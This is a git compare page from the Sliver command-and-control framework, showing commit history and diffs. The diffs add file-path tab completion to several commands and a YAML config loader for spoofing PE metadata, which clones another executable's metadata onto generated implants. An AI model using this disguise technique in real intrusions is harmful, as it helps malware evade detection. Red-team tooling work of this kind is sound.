Compare commits

..
Author SHA1 Message Date
moloch-- 82d979436b Add support for additional wasm-donute options in windows execute-shellcode 2026-03-01 22:35:37 -08:00
Joe d2632e75bd Merge pull request #2199 from BishopFox/feature/go-tests2
Refactor unit tests to not write to main db
2026-03-01 09:47:23 -07:00
moloch-- a55831fb44 Go v1.25.7 2026-02-28 22:39:46 -08:00
moloch-- 39d4edec43 Tweak go-tests.sh 2026-02-28 22:08:59 -08:00
moloch-- bbdb08e7a4 Refactor go-tests.sh 2026-02-28 14:12:37 -08:00
moloch-- 39b488bd25 Refactor unit tests to not write to main db 2026-02-28 13:11:14 -08:00
Joe e7b8a24534 Merge pull request #2198 from BishopFox/feature/handler-recover
Feature/handler recover
2026-02-28 11:39:00 -07:00
moloch-- 17b9d611f8 Add panic/recover to mtls, dns, and wg handlers 2026-02-28 09:56:48 -08:00
moloch-- ed9075d065 Add better nil checks to various pb handlers 2026-02-28 09:52:40 -08:00
Joe 1f7221933d Merge pull request #2194 from BishopFox/crush/v2
Upgrade crush libs to v2
2026-02-25 09:22:24 -07:00
moloch-- 6333e0691a Upgrade crush libs to v2 2026-02-24 17:40:13 -08:00
moloch-- 3bbaf80510 v1.7.3 2026-02-23 20:49:28 -08:00
moloch-- 25726d8105 Revert wasm-donut to v0.0.3 2026-02-23 20:48:53 -08:00
moloch-- 67e9a7f37f Update wasm-donut to v0.0.6 2026-02-23 19:33:26 -08:00
moloch-- a5b6935da6 Tweak AGENTS.md 2026-02-23 07:10:28 -08:00
moloch-- 2e36f45bdf v1.7.2 2026-02-22 17:33:08 -08:00
Joe 3e06a9d5ee Merge pull request #2191 from BishopFox/feature/file-tab-completer
Feature/file tab completer
2026-02-22 18:32:27 -07:00
moloch-- 952b2df49d Update beignet 2026-02-22 16:42:32 -08:00
moloch-- 9769f1bb57 Fix mod vendor 2026-02-22 16:41:16 -08:00
moloch-- f5f2c80ad3 Update malasada to v0.0.3 2026-02-22 16:38:41 -08:00
moloch-- bb2edf63cf Add file tab completer to more commands 2026-02-22 16:37:30 -08:00
moloch-- cd711afe8a Add tab completer to generate --save 2026-02-22 16:26:32 -08:00
Joe f9bbbb34bb Merge pull request #2190 from BishopFox/skoveit-feature/PE-Metadata-Spoofing
Skoveit feature/pe metadata spoofing
2026-02-21 23:29:33 -07:00
moloch-- 64b91c56c0 Fix unit tests 2026-02-21 15:14:26 -08:00
moloch-- a6c7867a26 Fix unit tests 2026-02-21 14:22:18 -08:00
moloch-- 7f25c3bb06 Expand pe metadata spoofing feature 2026-02-21 12:36:47 -08:00
moloch-- 153cf29551 Fix unit tests 2026-02-21 06:30:01 -08:00
jjensn b85161e797 Declare vars before use 2026-02-21 06:29:59 -08:00
jjensn ed906fcffe typo: Add yamux client constructor 2026-02-21 06:29:58 -08:00
jjensn 3bbcf5697a Yamux logging for debug implants 2026-02-21 06:29:56 -08:00
moloch-- 4a425d2fd6 Fix 'websites rm' add tab completer issue #2185 2026-02-21 06:29:55 -08:00
Adam d0f752e118 Fix execute infinite spin
Signed-off-by: Adam <[email protected]>
2026-02-21 06:29:54 -08:00
Adam 7167621577 Change env-inheritance flag default to false
Signed-off-by: Adam <[email protected]>
2026-02-21 06:29:47 -08:00
Joe c3582fc203 Merge pull request #2189 from BishopFox/jjensn-fix/yamux-disable-logging
Jjensn fix/yamux disable logging
2026-02-19 22:29:46 -07:00
moloch-- 07c95b203f Fix unit tests 2026-02-19 18:05:57 -08:00
moloch-- 958e44deef Fix 'websites rm' add tab completer issue #2185 2026-02-19 17:54:55 -08:00
Adam 836395a2d6 Fix execute infinite spin
Signed-off-by: Adam <[email protected]>
2026-02-19 17:54:53 -08:00
Adam 1a7a1c9b2d Change env-inheritance flag default to false
Signed-off-by: Adam <[email protected]>
2026-02-19 17:54:27 -08:00
Joe 4ba285796f Merge pull request #2188 from BishopFox/fix/websites-rm
Fix 'websites rm' add tab completer issue #2185
2026-02-19 18:51:41 -07:00
moloch-- a05dfad100 Fix 'websites rm' add tab completer issue #2185 2026-02-19 17:30:33 -08:00
Joe 0eb29ad9b8 Merge pull request #2187 from Aptimex/execute-fix
Fix: Execute default env inheritance issues
2026-02-19 18:06:43 -07:00
Adam ad8b329f85 Fix execute infinite spin
Signed-off-by: Adam <[email protected]>
2026-02-19 16:45:39 -07:00
Adam c6206257b6 Change env-inheritance flag default to false
Signed-off-by: Adam <[email protected]>
2026-02-19 16:20:59 -07:00
Ronan Kervella 8bbf06c156 Merge branch 'master' into feature/PE-Metadata-Spoofing 2026-02-19 12:42:31 -08:00
jjensn 4d4eab998f Declare vars before use 2026-02-18 13:34:24 -05:00
jjensn c081f17380 typo: Add yamux client constructor 2026-02-17 13:17:44 -05:00
jjensn fafbac3fa6 Yamux logging for debug implants 2026-02-17 12:59:34 -05:00
moloch-- d9c89c81cf Fix typo in docs 2026-02-16 13:14:40 -08:00
moloch-- 061221905b Add discord button to upper right 2026-02-16 13:09:03 -08:00
moloch-- d0600e2be7 Tweak docs site loading 2026-02-16 10:44:51 -08:00
moloch-- 26abbe3860 Update wasm-donut to v0.0.5 2026-02-16 09:58:57 -08:00
Anas 55a386ae1c Merge branch 'master' into feature/PE-Metadata-Spoofing 2026-02-16 19:54:15 +02:00
moloch-- 2bfdb218ff Update wasm-donut to v0.0.5 2026-02-16 09:44:22 -08:00
moloch-- 715b84e799 Update readme 2026-02-16 09:26:49 -08:00
moloch-- faea2ff639 Add link buttons to home page 2026-02-16 08:58:39 -08:00
moloch-- 1b253f8dec Add community talks section 2026-02-16 08:46:12 -08:00
moloch-- eb38724322 Add mtls and wg c2 docs 2026-02-16 08:35:01 -08:00
moloch-- 05dedf4473 Add mermaid chart component to md renderer 2026-02-16 08:06:36 -08:00
moloch-- 28c6b82a79 Update config file docs 2026-02-16 07:46:18 -08:00
Anas 1f553496e3 Merge branch 'master' into feature/PE-Metadata-Spoofing 2026-02-16 15:50:07 +02:00
0xOral cd5db464e0 fix protoc version 2026-02-16 15:25:21 +02:00
moloch-- 0bf0ac6c7b Update config file md 2026-02-15 21:52:57 -08:00
Joe 0cf5a47cfd Merge pull request #2181 from BishopFox/fix/gzip-bomb
Add limit to gzip size
2026-02-15 22:27:56 -07:00
moloch-- 8d6759924b Add limit to gzip size 2026-02-15 21:13:54 -08:00
Joe 8d5dbd2050 Merge pull request #2180 from BishopFox/feature/shell-mgmt
Feature/Shell Management
2026-02-15 22:12:08 -07:00
moloch-- 804e149113 Add shell kill option 2026-02-15 20:58:07 -08:00
moloch-- 9ced4cfd50 Add shell mgmt features 2026-02-15 20:51:18 -08:00
0xOral c8be5a5b1b add --spoof feature 2026-02-16 02:27:59 +02:00
moloch-- b7abf98c95 Tweak yt header 2026-02-15 07:30:51 -08:00
moloch-- 918ac1bb91 Tweak payload compatibility tables 2026-02-14 16:24:44 -08:00
moloch-- 1e57818312 Tweak cross-compile docs 2026-02-14 11:34:11 -08:00
moloch-- c44c14dd46 Tweak cross-compile docs 2026-02-14 11:33:48 -08:00
moloch-- 35f41cd62d Tweak compile from source instructions 2026-02-14 11:29:35 -08:00
moloch-- 4eff1cc053 Add getting started workshop 2026-02-14 11:22:12 -08:00
moloch-- 16981da431 upgrade docs to nextjs v16 2026-02-14 11:16:38 -08:00
moloch-- 3830c76292 npm update 2026-02-14 09:43:13 -08:00
moloch-- 73de93d6fb Fix content scrolling 2026-02-14 09:42:04 -08:00
moloch-- c7770c2f6e Add more yt links 2026-02-14 09:31:02 -08:00
moloch-- 21db908ce4 Hide footer on yt play 2026-02-14 09:23:11 -08:00
moloch-- b7b0247652 Add basic yt embeds 2026-02-14 08:52:15 -08:00
moloch-- 3dc7dc03d0 Fix moving sidebar 2026-02-14 08:40:26 -08:00
moloch-- 229452d7ed Fix moving sidebar 2026-02-14 08:39:23 -08:00
moloch-- d29ce9a08b Add payload compatibility table to docs 2026-02-14 08:19:18 -08:00
Joe 46f2b2b402 Merge pull request #2177 from BishopFox/skoveit-feature/dynamic-c2-endpoint
Skoveit feature/dynamic c2 endpoint
2026-02-13 11:50:36 -07:00
Joe 6ee2006387 Merge pull request #2170 from xtle0o0/fix/external-builder-authz-scope
Restrict external builder RPCs to assigned build jobs
2026-02-13 11:50:22 -07:00
moloch-- 2fd13ee2bc Regenerate pb 2026-02-13 07:22:06 -08:00
0xOral 2697568336 fix-export-ca-error-message 2026-02-13 07:21:54 -08:00
Joe 5013048b0b Merge pull request #2176 from skoveit/fix-export-ca-error-message
fix-export-ca-error-message
2026-02-13 08:13:46 -07:00
Joe 627b15572c Merge branch 'master' into feature/dynamic-c2-endpoint 2026-02-13 08:11:56 -07:00
0xOral 42c40c9b8d fix-export-ca-error-message 2026-02-12 19:45:52 +02:00
0xOral 405b282fed Dynamic C2 Endpoint Switching 2026-02-12 18:47:26 +02:00
Joe e32cd36e01 Merge pull request #2172 from skoveit/fix-off-by-one-naming
Fix: server panic on single-word lists and off-by-one in codename generation
2026-02-10 22:30:32 -07:00
Joe 492a2aeed6 Merge pull request #2171 from loresuso/loresuso/fix-zombie-shell
fix: wait system shell to cleanup zombie processes
2026-02-10 22:29:53 -07:00
Lorenzo Susini d6dafb0391 fix: wait system shell to cleanup zombie processes
Signed-off-by: Lorenzo Susini <[email protected]>
2026-02-10 18:01:39 +01:00
0xOral 49a1bcfd7d fix(codenames): fix off-by-one error and prevent panic on single-word lists 2026-02-10 17:05:13 +02:00
xtle0o0 a8d1bf6fb1 Restrict external builder RPCs to assigned builds 2026-02-10 12:00:24 +01:00
408 changed files with 51299 additions and 8661 deletions

No files matched your search

-23
View File
@@ -1,41 +1,18 @@
# Repository Guidelines
## Project Structure & Module Organization
- `client/` holds the CLI client and interactive commands.
- `server/` contains the server runtime, C2 logic, configs, and web assets.
- `implant/` is the implant runtime and transport implementations.
- `protobuf/` stores protobuf definitions and generated Go types.
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
- `vendor/` is the vendored Go dependency tree used by builds.
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
## Build, Test, and Development Commands
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
- `make client` builds a CGO-free client; `make debug` keeps symbols.
- `make pb` regenerates protobuf stubs from `protobuf/`.
- `./go-tests.sh` runs the curated Go test suite with build tags.
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
- Go toolchain: the Makefile enforces Go >= 1.24.
## Coding Style & Naming Conventions
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
- Do not import `server` packages from `client`.
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
## Testing Guidelines
- Go tests follow standard `_test.go` naming within each package.
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
- Add or update tests when behavior changes; some server packages run longer tests.
## Commit & Pull Request Guidelines
- Commits must be signed for PRs to `master`; work in a feature branch.
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
- Changes to `vendor/` should be in a distinct commit.
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
## Security Notes
- Default to secure configuration; fail closed rather than open.
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
+1 -1
View File
@@ -26,7 +26,7 @@ K := $(foreach exec,$(EXECUTABLES),\
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 24
MIN_SUPPORTED_GO_MINOR_VERSION = 25
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
+2 -1
View File
@@ -6,6 +6,8 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
### Features
- Dynamic code generation
@@ -42,4 +44,3 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+1
View File
@@ -124,4 +124,5 @@ under certain conditions; type 'licenses' for details.`)
saveAssetVersion(appDir)
}
_, _ = LoadSettings()
_, _ = LoadSpoofMetadataConfig()
}
+216
View File
@@ -0,0 +1,216 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
"path/filepath"
"gopkg.in/yaml.v3"
)
const spoofMetadataFileName = "spoof-metadata.yaml"
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
# Used by generate commands when --spoof-metadata is set.
#
# Fields that reference file content support either:
# - path: read bytes from a local file path
# - base64: inline base64 file content
# Do not set both path and base64 for the same object.
#
# Example 1: Minimal path-based metadata cloning (most common)
pe:
source:
name: metadata-source.exe
path: ""
# Optional icon donor. Reserved for future standalone icon mutation support.
icon:
name: icon.ico
path: ""
# Example 2: Inline/base64 source (uncomment and remove "path" above)
# source:
# name: metadata-source.exe
# base64: "TVqQAAMAAAAEAAAA..."
# Example 3: Optional PE structure overrides (advanced)
# Applied after metadata/resources are cloned from source.
# Omitted fields keep cloned values.
# resource_directory:
# characteristics: 0
# time_date_stamp: 0
# major_version: 1
# minor_version: 0
# number_of_named_entries: 0
# number_of_id_entries: 0
#
# resource_directory_entries:
# - name: 1
# offset_to_data: 0
#
# resource_data_entries:
# - offset_to_data: 0
# size: 0
# code_page: 0
# reserved: 0
#
# export_directory:
# characteristics: 0
# time_date_stamp: 0
# major_version: 1
# minor_version: 0
# name: 0
# base: 0
# number_of_functions: 0
# number_of_names: 0
# address_of_functions: 0
# address_of_names: 0
# address_of_name_ordinals: 0
`
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
type SpoofMetadataConfig struct {
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
}
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
type PESpoofMetadataConfig struct {
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
}
// SpoofMetadataDataSource points to bytes that should be sent to the server.
// Either Path or Base64 may be set.
type SpoofMetadataDataSource struct {
Name string `json:"name,omitempty" yaml:"name,omitempty"`
Path string `json:"path,omitempty" yaml:"path,omitempty"`
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
}
type ImageResourceDirectory struct {
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
}
type ImageResourceDirectoryEntry struct {
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
}
type ImageResourceDataEntry struct {
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
}
type ImageExportDirectory struct {
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
}
// SpoofMetadataConfigPath returns the spoof metadata config file path.
func SpoofMetadataConfigPath() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
return filepath.Join(rootDir, spoofMetadataFileName)
}
// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
// if the file is missing.
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
config := defaultSpoofMetadataConfig()
configPath := SpoofMetadataConfigPath()
data, err := os.ReadFile(configPath)
if err != nil {
if !os.IsNotExist(err) {
return defaultSpoofMetadataConfig(), err
}
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
return defaultSpoofMetadataConfig(), err
}
data = []byte(defaultSpoofMetadataConfigTemplate)
}
if err := yaml.Unmarshal(data, config); err != nil {
return defaultSpoofMetadataConfig(), err
}
normalizeSpoofMetadataConfig(config)
return config, nil
}
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
if config == nil {
config = defaultSpoofMetadataConfig()
}
normalizeSpoofMetadataConfig(config)
data, err := yaml.Marshal(config)
if err != nil {
return err
}
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
}
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
if config.PE == nil {
config.PE = &PESpoofMetadataConfig{}
}
if config.PE.Source == nil {
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
}
if config.PE.Icon == nil {
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
}
}
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
return &SpoofMetadataConfig{
PE: &PESpoofMetadataConfig{
Source: &SpoofMetadataDataSource{
Name: "metadata-source.exe",
Path: "",
},
Icon: &SpoofMetadataDataSource{
Name: "icon.ico",
Path: "",
},
},
}
}
+3
View File
@@ -1,6 +1,7 @@
package alias
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -32,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
aliasCmd.AddCommand(aliasLoadCmd)
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
aliasInstallCmd := &cobra.Command{
Use: consts.InstallStr + " [ALIAS]",
@@ -44,6 +46,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
aliasCmd.AddCommand(aliasInstallCmd)
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
aliasRemove := &cobra.Command{
Use: consts.RmStr + " [ALIAS]",
+4
View File
@@ -1,6 +1,7 @@
package c2profiles
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -27,6 +28,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
exportC2ProfileCmd := &cobra.Command{
Use: consts.ExportC2ProfileStr,
@@ -40,6 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
})
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
@@ -76,6 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
})
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["template"] = generate.HTTPC2Completer(con)
+58
View File
@@ -22,6 +22,7 @@ import (
"net"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// ClientInterfacesCompleter completes interface addresses on the client host.
@@ -84,3 +85,60 @@ func LocalProxyCompleter() carapace.Action {
}).Invoke(c).Prefix(prefix).ToA()
})
}
// LocalFilePathCompleter completes local file and directory paths.
func LocalFilePathCompleter() carapace.Action {
return carapace.ActionFiles().Tag("local file path")
}
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return nil, cobra.ShellCompDirectiveDefault
})
}
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
for _, name := range names {
RegisterLocalFilePathFlagCompletion(cmd, name)
}
}
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
if cmd == nil || index < 0 {
return
}
if cmd.ValidArgsFunction != nil {
return
}
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
if len(args) == index {
return nil, cobra.ShellCompDirectiveDefault
}
return nil, cobra.ShellCompDirectiveNoFileComp
}
}
// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
if cmd == nil {
return
}
if cmd.ValidArgsFunction != nil {
return
}
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return nil, cobra.ShellCompDirectiveDefault
}
}
+4
View File
@@ -1,6 +1,7 @@
package crack
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -61,6 +62,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "wordlist name (blank = filename)")
})
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
wordlistsCmd.AddCommand(wordlistsAddCmd)
wordlistsRmCmd := &cobra.Command{
@@ -95,6 +97,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "rules name (blank = filename)")
})
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
rulesCmd.AddCommand(rulesAddCmd)
rulesRmCmd := &cobra.Command{
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
})
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
hcstat2Cmd.AddCommand(hcstat2AddCmd)
hcstat2RmCmd := &cobra.Command{
+2
View File
@@ -1,6 +1,7 @@
package creds
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
})
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
credsAddCmd.AddCommand(credsAddFileCmd)
credsRmCmd := &cobra.Command{
+5
View File
@@ -1,6 +1,7 @@
package cursed
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -75,6 +76,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "save to file")
})
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
cursedScreenshotCmd := &cobra.Command{
Use: consts.ScreenshotStr,
@@ -144,6 +148,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
f.StringP("save", "s", "", "save to file")
})
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
return []*cobra.Command{cursedCmd}
}
+2
View File
@@ -1,6 +1,7 @@
package dllhijack
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -37,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["file"] = carapace.ActionFiles()
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletions(dllhijackCmd, "reference-file", "file")
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
return []*cobra.Command{dllhijackCmd}
+12 -2
View File
@@ -9,6 +9,7 @@ import (
"time"
"unicode/utf8"
tea "charm.land/bubbletea/v2"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/lexers"
"github.com/bishopfox/sliver/client/command/filesystem"
@@ -17,8 +18,9 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
